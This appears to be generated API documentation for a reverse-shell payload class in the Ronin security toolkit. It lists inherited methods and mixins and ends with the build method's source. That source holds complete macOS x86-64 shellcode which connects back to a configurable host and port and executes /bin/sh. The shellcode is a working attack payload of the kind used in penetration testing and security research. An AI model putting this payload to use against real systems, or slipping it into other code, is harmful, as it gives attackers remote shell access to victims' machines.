Class: Ronin::Payloads::Shellcode::MacOS::X86_64::ReverseShell

Inherits:
ReverseShellPayload show all
Defined in:
lib/ronin/payloads/builtin/shellcode/macos/x86_64/reverse_shell.rb

Overview

macOS x86-64 shellcode that spawns a connect back reverse shell.

Instance Attribute Summary

Attributes included from Mixins::PostEx

#session

Attributes inherited from Payload

#encoders, #payload

Instance Method Summary collapse

Methods inherited from ReverseShellPayload

#packed_ipv4, #packed_ipv6, #packed_port

Methods included from Mixins::Network

#pack_ipv4, #pack_ipv6, #pack_port

Methods included from Mixins::ResolveHost

#host_address, #host_addresses, #host_ip_address, #host_ip_addresses, #host_ipv4_address, #host_ipv4_addresses, #host_ipv6_address, #host_ipv6_addresses

Methods included from Mixins::ReverseShell

#host, included, #perform_cleanup, #perform_postlaunch, #perform_prelaunch, #port

Methods included from Mixins::PostEx

#perform_cleanup

Methods inherited from Ronin::Payloads::ShellcodePayload

payload_type, #shellcode

Methods inherited from ASMPayload

#assemble, assembler, payload_type

Methods included from Metadata::OS

included, #os, #os_version

Methods included from Metadata::Arch

#arch, included

Methods inherited from BinaryPayload

payload_type

Methods inherited from Payload

#built?, #built_payload, #bytesize, #cleanup, #encode_payload, #encoded_payload, encoder_class, #initialize, #length, payload_type, #perform_build, #perform_cleanup, #perform_postlaunch, #perform_prelaunch, #perform_validate, #postlaunch, #prelaunch, #rebuild_payload, #reencode_payload, register, #to_s, #validate

Constructor Details

This class inherits a constructor from Ronin::Payloads::Payload

Instance Method Details

#buildObject

Builds the shellcode.



54
55
56
57
58
59
60
61
62
63
64
# File 'lib/ronin/payloads/builtin/shellcode/macos/x86_64/reverse_shell.rb', line 54

def build
  @payload = "\x41\xb0\x02\x49\xc1\xe0\x18\x49\x83\xc8\x61\x4c\x89\xc0\x48" \
             "\x31\xd2\x48\x89\xd6\x48\xff\xc6\x48\x89\xf7\x48\xff\xc7\x0f" \
             "\x05\x49\x89\xc4\x49\xbd\x01\x01#{packed_port}#{packed_ipv4}\x41" \
             "\xb1\xff\x4d\x29\xcd\x41\x55\x49\x89\xe5\x49\xff\xc0\x4c\x89" \
             "\xc0\x4c\x89\xe7\x4c\x89\xee\x48\x83\xc2\x10\x0f\x05\x49\x83" \
             "\xe8\x08\x48\x31\xf6\x4c\x89\xc0\x4c\x89\xe7\x0f\x05\x48\x83" \
             "\xfe\x02\x48\xff\xc6\x76\xef\x49\x83\xe8\x1f\x4c\x89\xc0\x48" \
             "\x31\xd2\x49\xbd\xff\x2f\x62\x69\x6e\x2f\x73\x68\x49\xc1\xed" \
             "\x08\x41\x55\x48\x89\xe7\x48\x31\xf6\x0f\x05".b
end